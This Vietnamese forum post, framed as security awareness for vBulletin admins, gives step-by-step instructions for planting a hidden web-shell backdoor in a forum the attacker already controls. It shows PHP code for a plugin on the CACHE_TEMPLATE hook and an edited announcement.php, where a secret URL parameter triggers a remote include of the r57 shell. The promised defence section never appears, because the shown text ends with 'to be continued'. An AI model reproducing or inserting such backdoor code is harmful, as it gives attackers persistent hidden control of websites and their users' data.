Phương pháp include shell trong source VBB và cách phòng chống

Thảo luận trong 'Thảo luận website, Forum' bắt đầu bởi viethung_9x, 12 Tháng một 2011.

  1. Offline

    viethung_9x

    • Windows XP

    Số bài viết:
    613
    Đã được thích:
    735
    Điểm thành tích:
    560
    Mình viết bài này để giúp tăng cường bảo mật cho 4RUM của các bạn, cho các bạn thấy được cách thức mà hacker đột nhập vào trang webcác bạn để từ đó có cách phòng tránh. Mình không khuyến khích các bạn làm theo để thực hiện ý đồ xấu.
    Viết tut này cũng có mặt lợi và mặt hại của nó nhưng nếu các bạn biết áp dụng cho mục đích lương thiện thì nó sẽ giúp ích rất nhiều cho bạn
    I/Phương diện hacker - upload shell
    Bỏ qua phần làm thế nào hacker có shell trên host, mình chỉ nói đến việc hacker đã khai thác file config và hoàn toàn chiếm quyền admin của website bạn. Sau đây mình sẽ liệt kê một cách gần như đầy đủ các phương pháp mà hacker có thể chèn shell và ẩn nó trong forum của bạn để có thể dễ dàng trong những cuộc tấn công tiếp theo.

    Method 1: tạm gọi là up shell qua việc edit teamplate (cách này gần giống với kiều RFI-remote file include)

    Bạn lần lượt làm như sau:
    Vào admincp -->Plugin manager -->Add new plugin Ở phần HOOK Location bạn chọn là : CACHE_TEMPLATE nhé,
    Phần Name: có thể đặt tên tùy ý
    Phần plugin php code hãy dùng đoạn code sau để include shell:
    Mã:
    { 
    if($_GET['nameshell']=="heloworld"){ 
    include('http://localhost/r57new.php'); 
    } 
    }
    [IMG]
    Nhớ kích vào nút đồng ý (yes) để active plugin này nhé .
    [IMG]
    Bây giờ cùng test nhé ở đây mình test trên localhost.
    bạn thêm phần ?nameshell=helloworld vào sau:
    index.php hoặc image.php, online.php hay bất cứ file php nào ở ngoài index của HOST cái này tùy thuộc vào bạn
    Ở đây mình thử với index.php nhé
    [IMG]
    Method 2: chèn shell bằng cách edit file .php có trong host
    Bạn tìm những file mà admin ít để ý để chèn đoạn code sau vào nhé, có thể chèn vào bất cứ đâu mà bạn muốn.
    if ($_REQUEST['nameshell']=="helloworld") { include ("http://localhost/r57new.php"); }Demo: mình edit file announcement.php
    Mã:
    <?php
    /*======================================================================*\
    || #################################################################### ||
    || # vBulletin 3.7.2
    || # ---------------------------------------------------------------- # ||
    || # Copyright ©2000-2007 Jelsoft Enterprises Ltd. All Rights Reserved. ||
    || # This file may not be redistributed in whole or significant part. # ||
    || # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
    || # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
    || #################################################################### ||
    \*======================================================================*/
    if ($_REQUEST['nameshell']=="helloworld") {  include ("http://localhost/r57new.php");  }
    // ######################## SET PHP ENVIRONMENT ###########################
    error_reporting(E_ALL & ~E_NOTICE);
    
    // ##################### DEFINE IMPORTANT CONSTANTS #######################
    define('THIS_SCRIPT', 'announcement');
    
    // #################### PRE-CACHE TEMPLATES AND DATA ######################
    // get special phrase groups
    $phrasegroups = array(
        'postbit',
        'reputationlevel',
        'posting',
    còn tiếp ...
    dinhvinh07, lyvinhr00mkillyou117 thích bài này.

Chia sẻ trang này

Advertising: Linux system admin | nukeviet | nukeviet 4 | Upload ảnh miễn phí